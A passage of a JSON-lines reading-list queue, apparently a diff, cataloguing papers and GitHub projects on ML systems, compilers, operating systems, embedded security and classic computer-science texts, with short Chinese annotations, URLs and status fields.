基础"},"url":"https://docs.u-boot.org/en/latest/","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"trustzone-arm-2009","area":"papers","topic":"embedded-iot","title":"ARM TrustZone Technology Overview","meta":{"col3":"2009","col4":"ARM;CPU 双世界硬件隔离;OP-TEE/Android Keystore/Samsung Knox 基础"},"url":"https://developer.arm.com/documentation/PRD29-GENC-009492/c/","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"op-tee-tee-2014","area":"papers","topic":"embedded-iot","title":"OP-TEE: Open Portable Trusted Execution Environment","meta":{"col3":"2014","col4":"Linaro;GlobalPlatform TEE 实现;Android/Automotive 安全启动 + 密钥保护事实标准"},"url":"https://optee.readthedocs.io/en/latest/","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"esp-idf-overview","area":"papers","topic":"embedded-iot","title":"ESP-IDF: Espressif IoT Development Framework","meta":{"col3":"2017","col4":"ESP32 系列开发栈;FreeRTOS-SMP 移植 + WiFi/BT 协议栈 + secure boot v2"},"url":"https://docs.espressif.com/projects/esp-idf/en/latest/esp32/","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"} -{"slug":"videomla","area":"papers","topic":"machine-learning","title":"VideoMLA: Low-Rank Latent KV Cache for Minute-Scale Autoregressive Video Diffusion","meta":{"col3":"2026","col4":"arXiv 2605.30351;MLA 在视频 diffusion;92.7% per-token KV memory 减少;1.23x 吞吐 (B200)。"},"url":"https://arxiv.org/abs/2605.30351","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"schgen-pcb","area":"papers","topic":"machine-learning","title":"SchGen: PCB Schematic Generation with Semantic-Grounded Code Representations","meta":{"col3":"2026","col4":"arXiv 2605.30345;首个 NL→PCB schematic LLM;relative placement + pin-name wiring。"},"url":"https://arxiv.org/abs/2605.30345","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"diffusion-posterior-finite","area":"papers","topic":"machine-learning","title":"When, Why, and How Do Diffusion Posterior Samplers Fail? A Finite-Sample Lens","meta":{"col3":"2026","col4":"arXiv 2605.30330;finite-sample diagnostic;hallucination/early-stop 病因图谱。"},"url":"https://arxiv.org/abs/2605.30330","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"medcase-fhir","area":"papers","topic":"machine-learning","title":"MedCase-Structured: Text-to-FHIR Dataset for EHR Diagnostic Reasoning","meta":{"col3":"2026","col4":"arXiv 2605.30295;82.5% valid FHIR;structured input 反而 LLM 准确率下降。"},"url":"https://arxiv.org/abs/2605.30295","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"reasoning-with-sampling","area":"papers","topic":"machine-learning","title":"Reasoning with Sampling: Cutting at Decision Points","meta":{"col3":"2026","col4":"arXiv 2605.30327;entropy-cut Metropolis-Hastings;mixing 与 decision count 而非 token count 成比;不需 RL。"},"url":"https://arxiv.org/abs/2605.30327","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"self-trained-verification","area":"papers","topic":"machine-learning","title":"Self-Trained Verification for Training- and Test-Time Self-Improvement","meta":{"col3":"2026","col4":"arXiv 2605.30290;STV: 训 verifier 模仿 informed self;hard math 翻倍准确率;ViL 训练循环。"},"url":"https://arxiv.org/abs/2605.30290","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"ppc-preplan","area":"papers","topic":"machine-learning","title":"Knowing What to Solve Before How: Preplan-Plan-CoT for Math Reasoning","meta":{"col3":"2026","col4":"arXiv 2605.30245;question→preplan→plan→cot;spoiler-score detector + GRPO;39/40 best metrics。"},"url":"https://arxiv.org/abs/2605.30245","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"lomo-modality","area":"papers","topic":"machine-learning","title":"LoMo: Local Modality Substitution for Deeper Vision-Language Fusion","meta":{"col3":"2026","col4":"arXiv 2605.30265;解决 carrier sensitivity;text→image 渲染交错;13 multimodal benchmarks。"},"url":"https://arxiv.org/abs/2605.30265","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"entity-tracking-states","area":"papers","topic":"machine-learning","title":"Do Language Models Track Entities Across State Changes?","meta":{"col3":"2026","col4":"arXiv 2605.30233;LM 不增量跟踪状态而是 last-token 聚合;REMOVE 用 fragile suppression tag;mechanistic+behavioral 互校。"},"url":"https://arxiv.org/abs/2605.30233","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"passnet-graph-compiler","area":"papers","topic":"compilers-pl","title":"PassNet: Scaling LLMs for Graph Compiler Pass Generation","meta":{"col3":"2026","col4":"arXiv 2605.29357;18K subgraph 数据集;ES_t 评估;frontier 比 TorchInductor 落 37%;fine-tune 提 2.67x。"},"url":"https://arxiv.org/abs/2605.29357","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"e-path-egraph","area":"papers","topic":"compilers-pl","title":"E-Path: Equality Saturation for Control-Flow Graphs","meta":{"col3":"2026","col4":"arXiv 2605.28694;instruction sequence 作为 congruence 单位;CFG-native equality saturation 原型。"},"url":"https://arxiv.org/abs/2605.28694","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"lacuna-program-holes","area":"papers","topic":"compilers-pl","title":"LACUNA: Safe Agents as Recursive Program Holes","meta":{"col3":"2026","col4":"arXiv 2605.28617;agent[T](task) typed call;type-checked rollback;BrowseComp + τ²-bench;Odersky 团队。"},"url":"https://arxiv.org/abs/2605.28617","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"verus-specgym","area":"papers","topic":"formal-methods","title":"Verus-SpecGym: Agentic Environment for Specification Autoformalization","meta":{"col3":"2026","col4":"arXiv 2605.26457;581 spec-writing tasks;exec_spec 执行测试 + Codeforces hacks;frontier 77.8%。"},"url":"https://arxiv.org/abs/2605.26457","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"milestone-phase-order","area":"papers","topic":"compilers-pl","title":"MileStone: Multi-Objective Compiler Phase Ordering with GNN+RL","meta":{"col3":"2026","col4":"arXiv 2605.23435;GNN 预测 + RL agent;同 energy budget 下 -45% 执行时间;self-evolving DB。"},"url":"https://arxiv.org/abs/2605.23435","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"rtp-llm-alibaba","area":"papers","topic":"distributed-systems","title":"RTP-LLM: Alibaba High-Performance LLM Inference Engine","meta":{"col3":"2026","col4":"arXiv 2605.29639;100M users;P/D 解耦 + hierarchical KV cache;4.7x-6.3x model load;35-37% TTFT P95。"},"url":"https://arxiv.org/abs/2605.29639","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"afd-disagg-moe","area":"papers","topic":"distributed-systems","title":"How Far Can Disaggregation Go? AFD Design-Space for MoE LLM Serving","meta":{"col3":"2026","col4":"arXiv 2605.28302;attention-FFN disagg;DeepSeek-V3.2 4k tok/s under SLO;rack/cluster 设计原则。"},"url":"https://arxiv.org/abs/2605.28302","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"hkuds-vimax","area":"projects","topic":"machine-learning","title":"HKUDS/ViMax: Agentic Video Generation (Director, Screenwriter, Producer All-in-One)","meta":{"col3":"Python","col4":"GitHub trending 30d;多 agent 协作生成视频;~8.4k stars。"},"url":"https://github.com/HKUDS/ViMax","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"moneyprinter-turbo","area":"projects","topic":"machine-learning","title":"harry0703/MoneyPrinterTurbo: AI 短视频生成","meta":{"col3":"Python","col4":"GitHub trending 30d;~73k stars;TTS+剪辑 pipeline。"},"url":"https://github.com/harry0703/MoneyPrinterTurbo","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"pixelle-video","area":"projects","topic":"machine-learning","title":"AIDC-AI/Pixelle-Video: 自动短视频创作引擎","meta":{"col3":"Python","col4":"GitHub trending 30d;~20.6k stars;阿里达摩院出品。"},"url":"https://github.com/AIDC-AI/Pixelle-Video","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"local-deep-research","area":"projects","topic":"machine-learning","title":"LearningCircuit/local-deep-research: Local LLM 研究 agent","meta":{"col3":"Python","col4":"GitHub trending 30d;~8.2k stars;95% SimpleQA;本地 LLM 替代 OpenAI deep research。"},"url":"https://github.com/LearningCircuit/local-deep-research","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"ai-trader-hkuds","area":"projects","topic":"machine-learning","title":"HKUDS/AI-Trader: 全自动 agent-native 量化交易系统","meta":{"col3":"Python","col4":"GitHub trending 30d;~19k stars;agent-native 金融交易框架。"},"url":"https://github.com/HKUDS/AI-Trader","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"trading-agents-tauric","area":"projects","topic":"machine-learning","title":"TauricResearch/TradingAgents: 多 agent LLM 量化框架","meta":{"col3":"Python","col4":"GitHub trending 30d;~81k stars;multi-agent debate 模拟交易委员会。"},"url":"https://github.com/TauricResearch/TradingAgents","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"hermes-webui","area":"projects","topic":"devtools","title":"nesquena/hermes-webui: Hermes Agent Web/Mobile UI","meta":{"col3":"Python","col4":"GitHub trending 30d;~9.6k stars;agent 操作可视化界面。"},"url":"https://github.com/nesquena/hermes-webui","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"free-claude-code","area":"projects","topic":"devtools","title":"Alishahryar1/free-claude-code: Claude Code 终端访问","meta":{"col3":"Python","col4":"GitHub trending 30d;~31k stars;通过 terminal/VSCode 接入 Claude;合规边界。"},"url":"https://github.com/Alishahryar1/free-claude-code","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"composio-codex-skills","area":"projects","topic":"devtools","title":"ComposioHQ/awesome-codex-skills: Codex skills 精选","meta":{"col3":"Python","col4":"GitHub trending 30d;~12.5k stars;practical skills 集合。"},"url":"https://github.com/ComposioHQ/awesome-codex-skills","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"ruview-wifi-radar","area":"projects","topic":"machine-learning","title":"ruvnet/RuView: WiFi-based 空间智能 + 生命体征监测","meta":{"col3":"Rust","col4":"GitHub trending 30d;~69k stars;非视觉 presence/health 检测。"},"url":"https://github.com/ruvnet/RuView","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"jcode-coding","area":"projects","topic":"devtools","title":"1jehuang/jcode: 自动开发 coding agent harness","meta":{"col3":"Rust","col4":"GitHub trending 30d;~6.7k stars;轻量化 agent 编码框架。"},"url":"https://github.com/1jehuang/jcode","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"iii-hq-platform","area":"projects","topic":"devtools","title":"iii-hq/iii: 服务组合扩展实时观测平台","meta":{"col3":"Rust","col4":"GitHub trending 30d;~17k stars;service composition + observation。"},"url":"https://github.com/iii-hq/iii","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"lean-ctx-mcp","area":"projects","topic":"devtools","title":"yvgude/lean-ctx: Agent cognitive context layer with 62 MCP tools","meta":{"col3":"Rust","col4":"GitHub trending 30d;~2.3k stars;token saving 优化。"},"url":"https://github.com/yvgude/lean-ctx","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"skills-manager-desktop","area":"projects","topic":"devtools","title":"xingkongliang/skills-manager: 跨 15+ coding tool 的 skill 桌面管理","meta":{"col3":"Rust","col4":"GitHub trending 30d;~1.8k stars;skill 跨 agent 共享。"},"url":"https://github.com/xingkongliang/skills-manager","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"brush-3d","area":"projects","topic":"graphics","title":"ArthurBrussee/brush: 3D 重建技术平台","meta":{"col3":"Rust","col4":"GitHub trending 30d;~4.6k stars;Gaussian Splatting 工程实现。"},"url":"https://github.com/ArthurBrussee/brush","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"cc-switch-desktop","area":"projects","topic":"devtools","title":"farion1231/cc-switch: 跨平台多 coding agent 桌面助手","meta":{"col3":"Rust","col4":"GitHub trending 30d;~86k stars;切换 Claude Code / Codex / 其他。"},"url":"https://github.com/farion1231/cc-switch","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"meetily-ai-meeting","area":"projects","topic":"devtools","title":"Zackriya-Solutions/meetily: 隐私优先 AI 会议助手","meta":{"col3":"Rust","col4":"GitHub trending 30d;~12.4k stars;本地处理 + 转录。"},"url":"https://github.com/Zackriya-Solutions/meetily","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"office-view-only-mac","area":"projects","topic":"engineering-culture","title":"Microsoft Office 2019/2021 for Mac view-only conversion (consumer rights)","meta":{"col3":"2026","col4":"HN 905pts;Microsoft 远程把已购永久授权降级为只读;许可与 software 自治讨论。"},"url":"https://consumerrights.wiki/w/Microsoft_Office_2019_and_2021_for_Mac_view-only_conversion_(2026)","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"seashell-desert-algo","area":"projects","topic":"engineering-culture","title":"I found a seashell in the middle of the desert (algorithmic discovery story)","meta":{"col3":"2026","col4":"HN 351pts;GitHub 长帖;算法/数学发现叙事。"},"url":"https://github.com/Hawzen/I-found-a-seashell-in-the-middle-of-the-desert","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"voxel-space-2017","area":"projects","topic":"graphics","title":"Voxel Space (Comanche-style raycaster, 2017)","meta":{"col3":"2017","col4":"HN 291pts;s-macke 经典教学;高度图 raycasting;retro 渲染原理。"},"url":"https://s-macke.github.io/VoxelSpace/","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"av2-video-spec","area":"papers","topic":"media","title":"AV2 Video Standard v1.0 (Final Specification)","meta":{"col3":"2026","col4":"HN 252pts;AOMedia AV2 终稿;下一代开源 codec。"},"url":"https://en.wikipedia.org/wiki/AV2","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"website-specification","area":"projects","topic":"engineering-culture","title":"The Website Specification","meta":{"col3":"2026","col4":"HN 245pts;website 规范半讽刺半认真;W3C/WHATWG 反思。"},"url":"https://specification.website/","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"zig-elf-linker-devlog","area":"projects","topic":"compilers-pl","title":"Zig ELF Linker Improvements Devlog","meta":{"col3":"2026","col4":"HN 214pts;Zig 自托管 linker 性能进展;ELF 实现细节。"},"url":"https://ziglang.org/devlog/2026/#2026-05-30","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"racket-v92","area":"projects","topic":"compilers-pl","title":"Racket v9.2 Release","meta":{"col3":"2026","col4":"HN 150pts;Racket 9.2 release notes;CS 教学语言新进展。"},"url":"https://blog.racket-lang.org/2026/05/racket-v9-2.html","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"dotnet-10","area":"projects","topic":"compilers-pl","title":".NET 10 Announcement","meta":{"col3":"2026","col4":"HN 612pts;Microsoft .NET 10;运行时 + GC + AOT 改进。"},"url":"https://devblogs.microsoft.com/dotnet/announcing-dotnet-10/","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"xslt-rip","area":"projects","topic":"engineering-culture","title":"XSLT RIP","meta":{"col3":"2026","col4":"HN 698pts;XSLT 在 Web 平台被废弃讨论;语言生命周期案例。"},"url":"https://xslt.rip/","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"scaling-hnsws-antirez","area":"papers","topic":"info-retrieval","title":"Scaling HNSWs (Salvatore Sanfilippo)","meta":{"col3":"2026","col4":"HN 224pts;antirez 分析 HNSW 在 Redis Vector 的工程扩展;in-memory ANN 教学级深度。"},"url":"https://antirez.com/news/156","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"lampson-hints-1983","area":"papers","topic":"engineering-culture","title":"Hints for Computer System Design (Butler Lampson, 1983)","meta":{"col3":"1983","col4":"SOSP'83;系统设计方法论顶级 reading;CMU 15-712 / MIT 6.5840 必读。"},"url":"https://bwlampson.site/33-Hints/Acrobat.pdf","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"parnas-information-hiding-1972","area":"papers","topic":"engineering-culture","title":"On the Criteria To Be Used in Decomposing Systems into Modules (Parnas, 1972)","meta":{"col3":"1972","col4":"CACM 1972;信息隐藏奠基;模块化设计教科书 + Stanford / MIT reading list。"},"url":"https://www.win.tue.nl/~wstomv/edu/2ip30/references/criteria_for_modularization.pdf","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"brooks-no-silver-bullet-1986","area":"papers","topic":"engineering-culture","title":"No Silver Bullet — Essence and Accident in Software Engineering (Brooks, 1986)","meta":{"col3":"1986","col4":"软件工程必读;本质复杂性 vs 偶然复杂性;CMU 17-313 / Stanford reading list。"},"url":"http://worrydream.com/refs/Brooks-NoSilverBullet.pdf","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"dijkstra-goto-1968","area":"papers","topic":"compilers-pl","title":"Go To Statement Considered Harmful (Dijkstra, 1968)","meta":{"col3":"1968","col4":"CACM 1968;结构化编程奠基;PL 课程 reading list 标配。"},"url":"https://homepages.cwi.nl/~storm/teaching/reader/Dijkstra68.pdf","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"liskov-abstraction-1974","area":"papers","topic":"compilers-pl","title":"Programming with Abstract Data Types (Liskov & Zilles, 1974)","meta":{"col3":"1974","col4":"CLU 语言;ADT 起源;OOP/类型理论必读。"},"url":"https://en.wikipedia.org/wiki/Abstract_data_type","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"lamport-time-clocks-1978","area":"papers","topic":"distributed-systems","title":"Time, Clocks, and the Ordering of Events in a Distributed System (Lamport, 1978)","meta":{"col3":"1978","col4":"CACM;happens-before;逻辑时钟;MIT 6.5840 / CMU 15-440 第一篇。"},"url":"https://lamport.azurewebsites.net/pubs/time-clocks.pdf","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"hoare-csp-1978","area":"papers","topic":"compilers-pl","title":"Communicating Sequential Processes (Hoare, 1978)","meta":{"col3":"1978","col4":"CACM;CSP;Go channel/Erlang 哲学源头。"},"url":"https://www.cs.cmu.edu/~crary/819-f09/Hoare78.pdf","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"hoare-monitors-1974","area":"papers","topic":"operating-systems","title":"Monitors: An Operating System Structuring Concept (Hoare, 1974)","meta":{"col3":"1974","col4":"CACM;monitor 同步原语;并发原语奠基;OS 课必读。"},"url":"https://en.wikipedia.org/wiki/Monitor_(synchronization)","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"backus-fp-1978","area":"papers","topic":"compilers-pl","title":"Can Programming Be Liberated from the von Neumann Style? (Backus, 1978 Turing Lecture)","meta":{"col3":"1978","col4":"FP 语言;Turing Award lecture;函数式范式宣言。"},"url":"https://www.cs.cmu.edu/~crary/819-f09/Backus78.pdf","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"knuth-literate-1984","area":"papers","topic":"engineering-culture","title":"Literate Programming (Knuth, 1984)","meta":{"col3":"1984","col4":"Computer Journal;WEB/CWEB;文档与代码一体化哲学。"},"url":"http://www.literateprogramming.com/knuthweb.pdf","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"} -{"slug":"flashinfer-2024","area":"papers","topic":"ml-systems","title":"FlashInfer: Efficient and Customizable Attention Engine for LLM Inference","meta":{"col3":"2024","col4":"CMU/华盛顿;统一 prefill/decode/CUDA Graph 的 attention kernel 库,vLLM/SGLang 后端"},"url":"https://arxiv.org/abs/2501.01005","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"mooncake-kvcache-2024","area":"papers","topic":"ml-systems","title":"Mooncake: KVCache-centric Disaggregated Architecture for LLM Serving","meta":{"col3":"2024","col4":"月之暗面;KVCache 池化 + 分离式 prefill/decode,理解长上下文工业实践"},"url":"https://arxiv.org/abs/2407.00079","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"distserve-2024","area":"papers","topic":"ml-systems","title":"DistServe: Disaggregating Prefill and Decoding for Goodput-optimized LLM Serving","meta":{"col3":"2024","col4":"PKU/UCSD OSDI'24;prefill 和 decode 分离的奠基论文"},"url":"https://arxiv.org/abs/2401.09670","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"splitwise-2023","area":"papers","topic":"ml-systems","title":"Splitwise: Efficient Generative LLM Inference Using Phase Splitting","meta":{"col3":"2023","col4":"微软研究院;和 DistServe 同期的 prefill/decode 拆分方案"},"url":"https://arxiv.org/abs/2311.18677","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"sarathi-serve-2024","area":"papers","topic":"ml-systems","title":"Sarathi-Serve: Taming Throughput-Latency Tradeoff in LLM Inference","meta":{"col3":"2024","col4":"微软;chunked-prefill 调度的工业实践,Splitwise 演化"},"url":"https://arxiv.org/abs/2403.02310","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"torchtitan-2024","area":"projects","topic":"ml-systems","title":"torchtitan","meta":{"col3":"2024","col4":"PyTorch 官方 LLM 训练参考库;FSDP2 + tensor parallel + pipeline 一体化"},"url":"https://github.com/pytorch/torchtitan","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"xformers","area":"projects","topic":"ml-systems","title":"xFormers","meta":{"col3":"2024","col4":"Meta;可组合 transformer 组件 + memory_efficient_attention"},"url":"https://github.com/facebookresearch/xformers","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"flashinfer-project","area":"projects","topic":"ml-systems","title":"flashinfer","meta":{"col3":"2024","col4":"FlashInfer 开源实现;vLLM/SGLang/TensorRT-LLM 共用 kernel"},"url":"https://github.com/flashinfer-ai/flashinfer","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"openrlhf","area":"projects","topic":"ml-systems","title":"OpenRLHF","meta":{"col3":"2024","col4":"Ray + DeepSpeed + vLLM 的 RLHF 训练框架;理解 PPO/DPO 系统拼装"},"url":"https://github.com/OpenRLHF/OpenRLHF","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"verl-volcengine","area":"projects","topic":"ml-systems","title":"verl: Volcano Engine RL for LLMs","meta":{"col3":"2024","col4":"字节;HybridFlow 论文的开源实现,RLHF 系统工程"},"url":"https://github.com/volcengine/verl","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"lottery-scheduling-1994","area":"papers","topic":"operating-systems","title":"Lottery Scheduling: Flexible Proportional-Share Resource Management","meta":{"col3":"1994","col4":"Waldspurger/Weihl OSDI'94;Linux CFS 的概念前身"},"url":"https://www.usenix.org/legacy/publications/library/proceedings/osdi/full_papers/waldspurger.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"anticipatory-scheduler-2001","area":"papers","topic":"operating-systems","title":"Anticipatory Scheduling: A Disk Scheduling Framework","meta":{"col3":"2001","col4":"Iyer/Druschel SOSP'01;理解 Linux I/O 调度器历史"},"url":"https://www.cs.rice.edu/~druschel/publications/anticipatory.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"epoch-based-reclamation-2007","area":"papers","topic":"operating-systems","title":"Practical Lock-Freedom: Epoch-based Reclamation","meta":{"col3":"2007","col4":"Fraser/Harris;Hazard Pointer 的替代方案,crossbeam-epoch 基础"},"url":"https://www.cl.cam.ac.uk/research/srg/netos/papers/2007-cpwl.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"seastar-shared-nothing-2014","area":"papers","topic":"operating-systems","title":"Seastar: Shared-Nothing Asynchronous Framework","meta":{"col3":"2014","col4":"ScyllaDB;per-core thread + futures,DPDK 风格内核绕过"},"url":"https://seastar.io/shared-nothing/","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"k42-research-os-2006","area":"papers","topic":"operating-systems","title":"K42: Building a Complete Operating System","meta":{"col3":"2006","col4":"IBM;面向多核可扩展的研究 OS,对象模型 + hot-swap"},"url":"https://dl.acm.org/doi/10.1145/1218063.1217949","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"snmalloc-2019","area":"papers","topic":"operating-systems","title":"snmalloc: A Message Passing Allocator","meta":{"col3":"2019","col4":"微软;线程消息传递回收,跨线程 free 不阻塞"},"url":"https://github.com/microsoft/snmalloc/blob/main/snmalloc.pdf","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"dpdk-project","area":"projects","topic":"operating-systems","title":"DPDK","meta":{"col3":"2024","col4":"Intel;用户态网络栈/轮询模式,云厂商高性能网关基础"},"url":"https://www.dpdk.org/","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"spdk-project","area":"projects","topic":"operating-systems","title":"SPDK","meta":{"col3":"2024","col4":"Intel;用户态 NVMe 存储栈,DPDK 的存储版"},"url":"https://spdk.io/","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"rust-for-linux","area":"projects","topic":"operating-systems","title":"Rust for Linux","meta":{"col3":"2024","col4":"Linux 6.x 起官方支持,理解内核语言策略"},"url":"https://github.com/Rust-for-Linux/linux","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"aya-rs-ebpf","area":"projects","topic":"operating-systems","title":"aya: Rust eBPF library","meta":{"col3":"2024","col4":"纯 Rust eBPF 框架;理解新一代 eBPF 工具链"},"url":"https://github.com/aya-rs/aya","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-r3-2026-05-31","priority_tier":"long-tail"} -{"slug":"aes-gcm-2003","area":"papers","topic":"security-privacy","title":"The Galois/Counter Mode of Operation 